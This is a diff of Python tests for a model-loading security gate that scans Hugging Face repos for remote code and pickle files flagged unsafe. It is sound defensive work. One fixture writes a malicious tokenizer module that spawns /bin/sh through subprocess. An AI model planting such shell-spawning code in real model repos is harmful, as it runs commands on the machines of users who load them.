+        assert external_auto_map_repos(str(tmp_path / "plain")) == set()
+
+    def test_gguf_repo_vestigial_auto_map_no_py_is_no_code(self):
+        # A GGUF repo whose config.json has a vestigial auto_map but ships no .py: the
+        # listing succeeds with nothing to run, so the result is an empty dict, not a
+        # raise (which would false-block). Real shape of a Nemotron-Ultra GGUF.
+        def _dl(
+            repo,
+            fn,
+            token = None,
+        ):
+            import json
+            import tempfile
+
+            p = Path(tempfile.mkdtemp()) / fn
+            if fn == "config.json":
+                p.write_text(
+                    json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.DeciLM"}})
+                )
+                return str(p)
+            raise EntryNotFoundError(fn)  # no other config, and modeling_decilm.py is absent
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch(
+                "huggingface_hub.list_repo_files",
+                return_value = ["config.json", "model-00001-of-00097.gguf"],
+            ),
+        ):
+            files = repo_remote_code_files("unsloth/Some-Model-GGUF")
+        assert files == {}  # no executable code -> empty (no raise)
+
+    def test_tokenizer_only_auto_map_is_gated(self, tmp_path):
+        # config.json is plain but tokenizer_config.json declares auto_map: an
+        # AutoTokenizer(trust_remote_code=True) load runs that code, so scan + block it.
+        from utils.security import preflight_remote_code_consent
+
+        (tmp_path / "config.json").write_text('{"model_type": "llama"}')
+        (tmp_path / "tokenizer_config.json").write_text(
+            '{"auto_map": {"AutoTokenizer": ["tokenization_evil.EvilTokenizer", null]}}'
+        )
+        (tmp_path / "tokenization_evil.py").write_text(
+            "import subprocess\nsubprocess.Popen(['/bin/sh', '-c', 'id'])\n"
+        )
+        d = preflight_remote_code_consent(str(tmp_path), trusted_org = False)
+        assert d.has_remote_code is True
+        assert d.blocked is True
+        assert d.fingerprint
+
+    def test_config_file_list_covers_transformers_auto_map_sources(self):
+        # transformers reads auto_map only from a fixed set of config files (filename
+        # constants). Pin our scanned set to those exact constants from the installed
+        # transformers, so an upgrade that adds/renames an auto_map config trips here
+        # instead of silently leaving its code unscanned.
+        from transformers.tokenization_utils_base import TOKENIZER_CONFIG_FILE
+        from transformers.utils import (
+            CONFIG_NAME,
+            FEATURE_EXTRACTOR_NAME,
+            IMAGE_PROCESSOR_NAME,
+            PROCESSOR_NAME,
+            VIDEO_PROCESSOR_NAME,
+        )
+
+        expected = {
+            CONFIG_NAME,  # AutoConfig / AutoModel
+            TOKENIZER_CONFIG_FILE,  # AutoTokenizer
+            FEATURE_EXTRACTOR_NAME,  # AutoFeatureExtractor (preprocessor_config.json)
+            IMAGE_PROCESSOR_NAME,  # AutoImageProcessor (preprocessor_config.json)
+            PROCESSOR_NAME,  # AutoProcessor
+            VIDEO_PROCESSOR_NAME,  # AutoVideoProcessor
+        }
+        missing = expected - set(REMOTE_CODE_CONFIG_FILES)
+        assert not missing, (
+            "transformers reads auto_map from config files the consent gate does not "
+            f"scan: {sorted(missing)}. Add them to REMOTE_CODE_CONFIG_FILES."
+        )
+
+    def test_load_configs_returns_empty_list_when_all_404(self):
+        # A remote repo shipping none of the auto_map configs (every fetch 404s) returns
+        # [] ("no config-based auto_map"), not None ("unknown"): [] -> no-op, while None
+        # would force a scan and, for a code-less repo, a false unscannable block.
+        with patch("huggingface_hub.hf_hub_download", side_effect = EntryNotFoundError("404")):
+            configs = consent._load_remote_code_configs("some/plain-repo")
+        assert configs == []
+        # And a transient error on a config -> None (unknown -> caller scans).
+        with patch("huggingface_hub.hf_hub_download", side_effect = RuntimeError("blip")):
+            configs = consent._load_remote_code_configs("some/gated-repo")
+        assert configs is None
+
+    def test_gguf_repo_auto_map_is_ignored(self):
+        # A GGUF repo with a vestigial auto_map loads via llama.cpp, which never runs it,
+        # so _config_has_auto_map must return False and skip the consent flow.
+        def _dl(
+            repo_id = None,
+            filename = None,
+            token = None,
+            **kw,
+        ):
+            import json
+            import tempfile
+
+            if filename == "config.json":
+                p = Path(tempfile.mkdtemp()) / "config.json"
+                p.write_text(
+                    json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}})
+                )
+                return str(p)
+            raise EntryNotFoundError(filename)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch(
+                "huggingface_hub.list_repo_files",
+                return_value = ["config.json", "model-00001-of-00097.gguf"],
+            ),
+        ):
+            assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is False
+
+    def test_direct_gguf_file_reference_has_no_auto_map(self):
+        # A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call.
+        with patch("huggingface_hub.hf_hub_download", side_effect = AssertionError("no Hub call")):
+            assert consent._config_has_auto_map("org/repo/model.gguf") is False
+
+    def test_remote_repo_named_gguf_is_not_suffix_skipped(self):
+        # A two-segment repo id whose name ends in ".gguf" is not a direct file reference:
+        # it can still ship safetensors + auto_map Python, so it must be scanned.
+        def _dl(
+            repo_id = None,
+            filename = None,
+            token = None,
+            **kw,
+        ):
+            import json
+            import tempfile
+
+            if filename == "config.json":
+                p = Path(tempfile.mkdtemp()) / "config.json"
+                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
+                return str(p)
+            raise EntryNotFoundError(filename)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch(
+                "huggingface_hub.list_repo_files",
+                return_value = ["config.json", "model.safetensors", "model.gguf", "modeling_x.py"],
+            ),
+        ):
+            # Ships safetensors -> not a GGUF-only repo -> the auto_map gates.
+            assert consent._config_has_auto_map("evil/model.gguf") is True
+
+    def test_mixed_gguf_and_safetensors_repo_is_still_gated(self):
+        # A repo with both .gguf and .safetensors is not treated as GGUF: the safetensors
+        # could load via transformers where auto_map runs, so the gate must still apply.
+        def _dl(
+            repo_id = None,
+            filename = None,
+            token = None,
+            **kw,
+        ):
+            import json
+            import tempfile
+
+            if filename == "config.json":
+                p = Path(tempfile.mkdtemp()) / "config.json"
+                p.write_text(json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_x.X"}}))
+                return str(p)
+            raise EntryNotFoundError(filename)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch(
+                "huggingface_hub.list_repo_files",
+                return_value = ["config.json", "model.safetensors", "model.gguf"],
+            ),
+        ):
+            assert consent._config_has_auto_map("org/Mixed-Repo") is True
+
+    def test_mixed_gguf_and_bin_repo_is_still_gated(self):
+        # A repo with .gguf + a non-safetensors transformers weight (.bin/.pt/.pth/.h5/
+        # .msgpack/.onnx/.ckpt) is not GGUF-only: transformers can load it and run
+        # auto_map, so the gate still applies even with no .safetensors present.
+        def _dl(
+            repo_id = None,
+            filename = None,
+            token = None,
+            **kw,
+        ):
+            import json
+            import tempfile
+
+            if filename == "config.json":
+                p = Path(tempfile.mkdtemp()) / "config.json"
+                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_x.X"}}))
+                return str(p)
+            raise EntryNotFoundError(filename)
+
+        for weight in (
+            "pytorch_model.bin",
+            "model.pt",
+            "model.pth",
+            "tf_model.h5",
+            "flax_model.msgpack",
+            "model.onnx",
+            "model.ckpt",
+        ):
+            with (
+                patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+                patch(
+                    "huggingface_hub.list_repo_files",
+                    return_value = ["config.json", "modeling_x.py", weight, "model.gguf"],
+                ),
+            ):
+                assert consent._config_has_auto_map("org/Mixed-Bin-GGUF") is True, weight
+
+
+# POST /discard-remote-code: purge what the scan downloaded on decline, but never a
+# model the user already had (weights), a loaded model, or a local path.
+
+
+class TestDiscardRemoteCodeDownload:
+    @staticmethod
+    def _fake_cache(filenames):
+        files = [
+            SimpleNamespace(file_name = fn, file_path = f"/snap/{fn}", blob_path = f"/blob/{fn}")
+            for fn in filenames
+        ]
+        rev = SimpleNamespace(commit_hash = "deadbeef", files = files)
+        repo = SimpleNamespace(repo_type = "model", repo_id = "evil/repo", revisions = [rev])
+        return SimpleNamespace(repos = [repo], delete_revisions = MagicMock())
+
+    def _run(self, model_name, cache_scans):
+        import asyncio
+
+        import routes.models as M
+
+        not_loaded = SimpleNamespace(active_model_name = None)
+        with (
+            patch.object(M, "is_local_path", return_value = model_name.startswith("/")),
+            patch.object(M, "_all_hf_cache_scans", return_value = cache_scans),
+            patch.object(M, "get_inference_backend", return_value = not_loaded),
+            patch(
+                "routes.inference.get_llama_cpp_backend",
+                return_value = SimpleNamespace(is_loaded = False, model_identifier = None),
+            ),
+        ):
+            return asyncio.run(M.discard_remote_code_download(model_name, current_subject = "t"))
+
+    def test_purges_metadata_only_entry(self):
+        cache = self._fake_cache(["config.json", "tokenizer_config.json", "modeling_evil.py"])
+        res = self._run("evil/repo", [cache])
+        assert res["deleted"] is True
+        cache.delete_revisions.assert_called_once_with("deadbeef")
+
+    def test_refuses_when_weights_present(self):
+        cache = self._fake_cache(["config.json", "model.safetensors"])
+        res = self._run("evil/repo", [cache])
+        assert res == {"deleted": False, "reason": "has_weights"}
+        cache.delete_revisions.assert_not_called()
+
+    def test_refuses_when_gguf_present(self):
+        cache = self._fake_cache(["config.json", "model.Q4_K_M.gguf"])
+        res = self._run("evil/repo", [cache])
+        assert res["reason"] == "has_weights"
+
+    def test_refuses_local_path(self):
+        res = self._run("/home/me/model", [])
+        assert res == {"deleted": False, "reason": "local"}
+
+    def test_noop_when_not_cached(self):
+        res = self._run("evil/repo", [])
+        assert res == {"deleted": False, "reason": "not_cached"}
+
+    def test_route_source_reports_created_by_scan(self):
+        src = (_BACKEND / "routes/models.py").read_text()
+        assert "created_by_scan" in src
+        assert "discard-remote-code" in src
diff --git a/studio/backend/tests/test_file_security.py b/studio/backend/tests/test_file_security.py
new file mode 100644
index 0000000000..b4c8f5d242
--- /dev/null
+++ b/studio/backend/tests/test_file_security.py
@@ -0,0 +1,534 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Tests for the malware / unsafe-file gate (utils.security.file_security).
+
+The gate reads HF's security scan (model_info securityStatus) metadata-only and never
+downloads flagged files; only the Hub call is stubbed. Policy: block a non-"safe" level
+(unknown levels fail closed), fail open when the scan is unavailable, skip local paths
+only, no first-party exemption. The block is scoped to the load-path RCE vector (a
+root-level code-executing file), so flagged safetensors and subdir pickles do not block.
+"""
+
+from types import SimpleNamespace
+from unittest.mock import patch
+
+import pytest
+
+from utils.security import evaluate_file_security
+
+
+def _patch_status(status):
+    """Patch huggingface_hub.model_info to return one fixed security_repo_status."""
+
+    def _mi(*_args, **_kwargs):
+        return SimpleNamespace(security_repo_status = status)
+
+    return patch("huggingface_hub.model_info", side_effect = _mi)
+
+
+def _patch_raises(exc = RuntimeError("offline")):
+    return patch("huggingface_hub.model_info", side_effect = exc)
+
+
+def _patch_no_index():
+    """Make the weight-index lookup find no index files (definitive: nothing sharded)."""
+    from huggingface_hub.utils import EntryNotFoundError
+
+    def _dl(
+        repo_id = None,
+        filename = None,
+        token = None,
+        **kw,
+    ):
+        raise EntryNotFoundError(filename or "")
+
+    return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+def _patch_index(weight_map, index_filename = "pytorch_model.bin.index.json"):
+    """Serve a root weight index mapping tensor names -> shard paths; others 404."""
+    import json
+    import tempfile
+    from pathlib import Path
+
+    from huggingface_hub.utils import EntryNotFoundError
+
+    def _dl(
+        repo_id = None,
+        filename = None,
+        token = None,
+        **kw,
+    ):
+        if filename == index_filename:
+            p = Path(tempfile.mkdtemp()) / filename
+            p.write_text(json.dumps({"weight_map": weight_map}))
+            return str(p)
+        raise EntryNotFoundError(filename or "")
+
+    return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+def _patch_index_unreadable():
+    """Make every index fetch fail transiently (inconclusive lookup -> fail closed)."""
+
+    def _dl(
+        repo_id = None,
+        filename = None,
+        token = None,
+        **kw,
+    ):
+        raise RuntimeError("transient network error")
+
+    return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+def _patch_index_mixed(weight_map, readable_index, failing_index):
+    """Serve one index cleanly while another fails transiently: the flagged shard is
+    listed only by the index we could not read, so a naive "read any index?" check breaks."""
+    import json
+    import tempfile
+    from pathlib import Path
+
+    from huggingface_hub.utils import EntryNotFoundError
+
+    def _dl(
+        repo_id = None,
+        filename = None,
+        token = None,
+        **kw,
+    ):
+        if filename == readable_index:
+            p = Path(tempfile.mkdtemp()) / filename
+            p.write_text(json.dumps({"weight_map": weight_map}))
+            return str(p)
+        if filename == failing_index:
+            raise RuntimeError("transient network error")
+        raise EntryNotFoundError(filename or "")
+
+    return patch("huggingface_hub.hf_hub_download", side_effect = _dl)
+
+
+@pytest.mark.parametrize("level", ["unsafe", "suspicious", "malicious"])
+def test_blocks_each_blocking_level(level):
+    status = {"scansDone": True, "filesWithIssues": [{"path": "pytorch_model.bin", "level": level}]}
+    with _patch_status(status):
+        d = evaluate_file_security("evil/repo")
+    assert d.blocked is True
+    assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": level}]
+    assert d.response_payload()["security_blocked"] is True
+
+
+def test_ignores_safe_only():
+    status = {
+        "scansDone": True,
+        "filesWithIssues": [{"path": "model.safetensors", "level": "safe"}],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("good/repo")
+    assert d.blocked is False
+    assert d.unsafe_files == []
+
+
+def test_blocks_unsafe_even_when_scans_not_done():
+    # scansDone is often False for clean repos; an already-flagged file must still block.
+    status = {"scansDone": False, "filesWithIssues": [{"path": "x.pkl", "level": "unsafe"}]}
+    with _patch_status(status):
+        d = evaluate_file_security("evil/repo")
+    assert d.blocked is True
+
+
+def test_fail_open_when_scan_unavailable():
+    # model_info returns no security_repo_status -> unknown -> allow.
+    with _patch_status(None):
+        d = evaluate_file_security("unknown/repo")
+    assert d.blocked is False
+
+
+def test_fail_open_on_exception_offline():
+    with _patch_raises():
+        d = evaluate_file_security("offline/repo")
+    assert d.blocked is False
+
+
+def test_fail_open_scans_done_no_issues():
+    with _patch_status({"scansDone": True, "filesWithIssues": []}):
+        d = evaluate_file_security("clean/repo")
+    assert d.blocked is False
+
+
+def test_skips_local_path():
+    # A local path has no Hub scan; must not even call model_info.
+    with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")):
+        d = evaluate_file_security("/tmp/some/local/model")
+    assert d.blocked is False
+    assert "local" in d.reason
+
+
+def test_remote_gguf_named_repo_is_still_scanned():
+    # Only LOCAL paths skip the Hub scan, so a remote .gguf repo is still scanned and a
+    # poisoned pickle smuggled into it is blocked.
+    status = {
+        "scansDone": True,
+        "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("evil/model.gguf")
+    assert d.blocked is True
+    assert d.unsafe_files
+
+
+def test_skips_local_gguf_file():
+    # A local .gguf path is caught by is_local_path -- no Hub call.
+    with patch("huggingface_hub.model_info", side_effect = AssertionError("should not be called")):
+        d = evaluate_file_security("/tmp/models/model.gguf")
+    assert d.blocked is False
+    assert "local" in d.reason
+
+
+def test_no_first_party_exemption():
+    # A poisoned pickle in a first-party repo still blocks (compromised-repo defense).
+    status = {
+        "scansDone": True,
+        "filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("unsloth/some-model")
+    assert d.blocked is True
+
+
+def test_malformed_entries_are_ignored():
+    status = {
+        "scansDone": True,
+        "filesWithIssues": ["not-a-dict", {"path": "ok.pkl", "level": "unsafe"}],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("evil/repo")
+    assert d.blocked is True
+    assert d.unsafe_files == [{"path": "ok.pkl", "level": "unsafe"}]
+
+
+def test_response_payload_shape():
+    status = {"scansDone": True, "filesWithIssues": [{"path": "a.pkl", "level": "malicious"}]}
+    with _patch_status(status):
+        payload = evaluate_file_security("evil/repo").response_payload()
+    assert set(payload) == {"unsafe_files", "security_blocked", "reason"}
+    assert payload["security_blocked"] is True
+    assert payload["unsafe_files"] == [{"path": "a.pkl", "level": "malicious"}]
+
+
+# ── Load-path RCE scoping: block only files a load would actually deserialize ──
+
+
+def test_flagged_safetensors_does_not_block():
+    # safetensors is tensor-only and cannot execute code, so a flag on one (often
+    # picklescan tripping on a sibling pickle) is not an RCE vector and must not block.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [{"path": "model-00001-of-00004.safetensors", "level": "unsafe"}],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("nvidia/some-model")
+    assert d.blocked is False
+    assert d.unsafe_files == []
+
+
+def test_flagged_subdirectory_pickle_does_not_block():
+    # from_pretrained reads only root weights; a flagged subdir pickle no root index
+    # references (e.g. a NeMo checkpoint) is never loaded, so it must not block.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [
+            {"path": "nemo/weights/common.pt", "level": "unsafe"},
+            {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"},
+        ],
+    }
+    with _patch_status(status), _patch_no_index():
+        d = evaluate_file_security("nvidia/some-model")
+    assert d.blocked is False
+    assert d.unsafe_files == []
+
+
+def test_nemotron_h_shaped_status_loads():
+    # Real Nemotron-H-8B-Base-8K shape: flagged root safetensors + unreferenced nemo/
+    # pickles. None is a load-path vector, so it must load.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [
+            {"path": "nemo/weights/.metadata", "level": "unsafe"},
+            {"path": "nemo/weights/__0_0.distcp", "level": "unsafe"},
+            {"path": "nemo/weights/common.pt", "level": "unsafe"},
+            {"path": "model-00001-of-00004.safetensors", "level": "unsafe"},
+            {"path": "model-00002-of-00004.safetensors", "level": "unsafe"},
+        ],
+    }
+    with _patch_status(status), _patch_no_index():
+        d = evaluate_file_security("nvidia/Nemotron-H-8B-Base-8K")
+    assert d.blocked is False
+    assert d.unsafe_files == []
+
+
+def test_indexed_subdir_shard_blocks():
+    # A flagged subdir shard that a root index references IS deserialized, so it blocks.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [
+            {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"},
+        ],
+    }
+    weight_map = {
+        "layer.0.weight": "shards/pytorch_model-00001-of-00002.bin",
+        "layer.1.weight": "shards/pytorch_model-00002-of-00002.bin",
+    }
+    with _patch_status(status), _patch_index(weight_map):
+        d = evaluate_file_security("evil/sharded")
+    assert d.blocked is True
+    assert d.unsafe_files == [
+        {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}
+    ]
+
+
+def test_unindexed_subdir_pickle_does_not_block_when_index_present():
+    # An index exists but does not list the flagged subdir pickle -> not loaded -> no block.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [{"path": "extras/notes.bin", "level": "unsafe"}],
+    }
+    weight_map = {"layer.0.weight": "pytorch_model-00001-of-00001.bin"}
+    with _patch_status(status), _patch_index(weight_map):
+        d = evaluate_file_security("org/has-index")
+    assert d.blocked is False
+    assert d.unsafe_files == []
+
+
+def test_inconclusive_index_lookup_blocks_subdir_pickle():
+    # An unreadable index can't rule out that the flagged subdir pickle is a shard -> block.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [{"path": "weights/model_part.bin", "level": "unsafe"}],
+    }
+    with _patch_status(status), _patch_index_unreadable():
+        d = evaluate_file_security("org/transient")
+    assert d.blocked is True
+    assert d.unsafe_files == [{"path": "weights/model_part.bin", "level": "unsafe"}]
+
+
+def test_partial_index_read_with_transient_failure_blocks_subdir_pickle():
+    # The bin index (which would list the flagged shard) fails transiently; a partial
+    # path set is not definitive, so fail closed.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [
+            {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"},
+        ],
+    }
+    # The readable index lists only benign shards; the flagged .bin is in the unread index.
+    safetensors_map = {"layer.0.weight": "model-00001-of-00001.safetensors"}
+    with (
+        _patch_status(status),
+        _patch_index_mixed(
+            safetensors_map,
+            readable_index = "model.safetensors.index.json",
+            failing_index = "pytorch_model.bin.index.json",
+        ),
+    ):
+        d = evaluate_file_security("evil/mixed-index")
+    assert d.blocked is True
+    assert d.unsafe_files == [
+        {"path": "shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}
+    ]
+
+
+def test_root_pickle_alongside_safetensors_still_blocks():
+    # A real root pickle blocks even alongside a flagged safetensors; it is a load-path vector.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [
+            {"path": "model.safetensors", "level": "unsafe"},
+            {"path": "pytorch_model.bin", "level": "unsafe"},
+        ],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("evil/repo")
+    assert d.blocked is True
+    assert d.unsafe_files == [{"path": "pytorch_model.bin", "level": "unsafe"}]
+
+
+def test_eicar_shaped_root_files_block():
+    # The canonical eicar repo ships its dangerous files at the ROOT, so it stays blocked.
+    status = {
+        "scansDone": True,
+        "filesWithIssues": [
+            {"path": "model_broken_X.pkl", "level": "unsafe"},
+            {"path": "danger.dat", "level": "unsafe"},
+            {"path": "eicar_test_file", "level": "unsafe"},
+        ],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("mcpotato/42-eicar-street")
+    assert d.blocked is True
+    assert len(d.unsafe_files) == 3
+
+
+def test_unknown_future_level_fails_closed():
+    # Hub schema drift: an unrecognized non-"safe" level (e.g. "infected") on a root pickle must block.
+    status = {"scansDone": True, "filesWithIssues": [{"path": "weights.bin", "level": "infected"}]}
+    with _patch_status(status):
+        d = evaluate_file_security("evil/repo")
+    assert d.blocked is True
+    assert d.unsafe_files == [{"path": "weights.bin", "level": "infected"}]
+
+
+def test_pending_or_scanning_level_does_not_block():
+    # A not-yet-finished per-file scan state must not false-block.
+    for lvl in ("pending", "scanning", "queued", "unscanned", "error"):
+        status = {
+            "scansDone": False,
+            "filesWithIssues": [{"path": "pytorch_model.bin", "level": lvl}],
+        }
+        with _patch_status(status):
+            d = evaluate_file_security("some/repo")
+        assert d.blocked is False, lvl
+
+
+# -- Subdir load roots: Spark-TTS / BiCodec load from_pretrained(<snapshot>/LLM) --
+
+
+def test_flagged_pickle_under_load_subdir_blocks():
+    # A flagged pickle directly under a declared load subdir is a root-level artifact there.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}],
+    }
+    with _patch_status(status), _patch_no_index():
+        d = evaluate_file_security("org/spark-tts", load_subdirs = ("LLM",))
+    assert d.blocked is True
+    assert d.unsafe_files == [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}]
+
+
+def test_flagged_pickle_under_subdir_without_load_root_does_not_block():
+    # Same file, but NOT declared a load root and not indexed -> not deserialized.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}],
+    }
+    with _patch_status(status), _patch_no_index():
+        d = evaluate_file_security("org/not-a-load-root")
+    assert d.blocked is False
+    assert d.unsafe_files == []
+
+
+def test_indexed_shard_under_load_subdir_blocks():
+    # An index inside the load subdir referencing a flagged shard makes it a vector.
+    status = {
+        "scansDone": False,
+        "filesWithIssues": [
+            {"path": "LLM/shards/pytorch_model-00001-of-00002.bin", "level": "unsafe"}
+        ],
+    }
+    weight_map = {
+        "layer.0.weight": "shards/pytorch_model-00001-of-00002.bin",
+        "layer.1.weight": "shards/pytorch_model-00002-of-00002.bin",
+    }
+    with (
+        _patch_status(status),
+        _patch_index(weight_map, index_filename = "LLM/pytorch_model.bin.index.json"),
+    ):
+        d = evaluate_file_security("org/spark-tts", load_subdirs = ("LLM",))
+    assert d.blocked is True
+
+
+# -- Source files are the consent gate's domain, not a deserialization vector --
+
+
+def test_flagged_root_python_helper_does_not_block():
+    # A root .py is never deserialized; repo code runs only via auto_map under the consent
+    # gate, so flagging it here would false-block.
+    status = {
+        "scansDone": True,
+        "filesWithIssues": [
+            {"path": "build_pickles.py", "level": "unsafe"},
+            {"path": "train.py", "level": "suspicious"},
+        ],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("org/has-helper-scripts")
+    assert d.blocked is False
+    assert d.unsafe_files == []
+
+
+def test_root_pickle_still_blocks_with_flagged_python_sibling():
+    # The .py exemption must not mask a genuine root pickle in the same repo.
+    status = {
+        "scansDone": True,
+        "filesWithIssues": [
+            {"path": "convert.py", "level": "unsafe"},
+            {"path": "pytorch_model.bin", "level": "unsafe"},
+        ],
+    }
+    with _patch_status(status):
+        d = evaluate_file_security("evil/mixed")
+    assert d.blocked is True
+
+
+# -- Alias resolution: scan the repo the loader actually fetches from --
+
+
+def _patch_status_capture(status):
+    """Like _patch_status, but records the repo id model_info was queried with."""
+    seen = {}
+
+    def _mi(repo, *_a, **_k):
+        seen["repo"] = repo
+        return SimpleNamespace(security_repo_status = status)
+
+    return patch("huggingface_hub.model_info", side_effect = _mi), seen
+
+
+def test_spark_tts_llm_alias_scans_real_repo():
+    # "Spark-TTS-0.5B/LLM" loads as unsloth/Spark-TTS-0.5B with LLM as load root; scanning
+    # the literal alias 404s and fails open, missing a flagged LLM/ pickle.
+    status = {"filesWithIssues": [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}]}
+    cap, seen = _patch_status_capture(status)
+    with cap, patch("utils.paths.is_local_path", return_value = False), _patch_no_index():
+        d = evaluate_file_security("Spark-TTS-0.5B/LLM", load_subdirs = ())
+    assert seen["repo"] == "unsloth/Spark-TTS-0.5B"  # scanned the real repo, not the alias
+    assert d.model_name == "unsloth/Spark-TTS-0.5B"
+    assert d.blocked is True
+    assert d.unsafe_files == [{"path": "LLM/pytorch_model.bin", "level": "unsafe"}]
+
+
+def test_non_llm_alias_is_not_rewritten():
+    # A normal repo id with one slash must be scanned as-is (no spurious rewrite).
+    status = {"filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}]}
+    cap, seen = _patch_status_capture(status)
+    with cap, patch("utils.paths.is_local_path", return_value = False):
+        d = evaluate_file_security("org/model")
+    assert seen["repo"] == "org/model"
+    assert d.model_name == "org/model"
+
+
+def test_generic_slash_llm_repo_is_scanned_as_itself():
+    # A third-party repo merely ending in "/LLM" is not a bicodec alias, so it must be
+    # scanned as itself; rewriting to unsloth/<parent> would scan the wrong repo.
+    status = {"filesWithIssues": [{"path": "pytorch_model.bin", "level": "unsafe"}]}
+    cap, seen = _patch_status_capture(status)
+    with cap, patch("utils.paths.is_local_path", return_value = False):
+        d = evaluate_file_security("evil/LLM")
+    assert seen["repo"] == "evil/LLM"  # scanned the real repo, not unsloth/evil
+    assert d.model_name == "evil/LLM"
+    assert d.blocked is True
+
+
+def test_security_load_subdirs_yaml_fallback(monkeypatch):
+    # Tokenizer detection failed, but a YAML default of audio_type=bicodec still yields LLM.
+    import utils.models.model_config as mc
+    from utils.security import security_load_subdirs
+
+    monkeypatch.setattr(mc, "detect_audio_type", lambda *_a, **_k: None)
+    monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": "bicodec"})
+    assert security_load_subdirs("unsloth/Spark-TTS-0.5B") == ("LLM",)
+
+    # A non-bicodec default contributes no subdir.
+    monkeypatch.setattr(mc, "load_model_defaults", lambda *_a, **_k: {"audio_type": None})
+    assert security_load_subdirs("unsloth/Llama-3.2-1B") == ()
diff --git a/studio/backend/tests/test_models_get_model_config_case_resolution.py b/studio/backend/tests/test_models_get_model_config_case_resolution.py
index 417ec74d17..12f6c497ab 100644
--- a/studio/backend/tests/test_models_get_model_config_case_resolution.py
+++ b/studio/backend/tests/test_models_get_model_config_case_resolution.py
@@ -77,3 +77,29 @@ def test_get_model_config_resolves_cached_case_before_model_checks(monkeypatch):
     assert calls["is_embedding_model"] == "Org/Model"
     assert calls["detect_audio_type"] == "Org/Model"
     assert calls["from_identifier"] == "Org/Model"
+
+
+def test_repo_in_any_hf_cache_matches_case_variant_in_legacy_cache(tmp_path, monkeypatch):
+    # A case-variant in a legacy/default cache must read as present (case resolution only
+    # covers the active cache; discard deletes case-insensitively, so detection must too,
+    # else a decline deletes a pre-existing user repo).
+    import utils.paths as paths_pkg
+    import huggingface_hub.constants as hf_constants
+
+    active = tmp_path / "active"
+    legacy = tmp_path / "legacy"
+    default = tmp_path / "default"
+    for d in (active, legacy, default):
+        d.mkdir()
+    # Differently-cased entry in the legacy cache only.
+    (legacy / "models--Unsloth--Foo").mkdir()
+
+    # No active-cache variant; case resolution is a no-op here.
+    monkeypatch.setattr(paths_pkg, "resolve_cached_repo_id_case", lambda name: name)
+    monkeypatch.setattr(paths_pkg, "legacy_hf_cache_dir", lambda: legacy)
+    monkeypatch.setattr(paths_pkg, "hf_default_cache_dir", lambda: default)
+    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(active))
+
+    assert models_route._repo_in_any_hf_cache("unsloth/foo") is True
+    # Absent from every cache -> reported absent.
+    assert models_route._repo_in_any_hf_cache("unsloth/not-cached") is False
diff --git a/studio/backend/tests/test_security_gate_consistency.py b/studio/backend/tests/test_security_gate_consistency.py
new file mode 100644
index 0000000000..db66df8a30
--- /dev/null
+++ b/studio/backend/tests/test_security_gate_consistency.py
@@ -0,0 +1,101 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Deterministic consistency guards for the model-load security gate.
+
+The gate spans many parallel sites (validate/load/status, the inference/training/export
+workers, the preflight route); past regressions were a fix at one site with a sibling
+left behind. These guards enumerate the sites mechanically (AST + source) so a new site
+that drops the token or mis-reports the requirement fails here, not in a later review.
+"""
+
+import ast
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+
+# Probes read Hub config to classify a model; a token-less call 404s on a gated repo.
+# Scan callers under routes/ and core/ (probe definitions live in utils/).
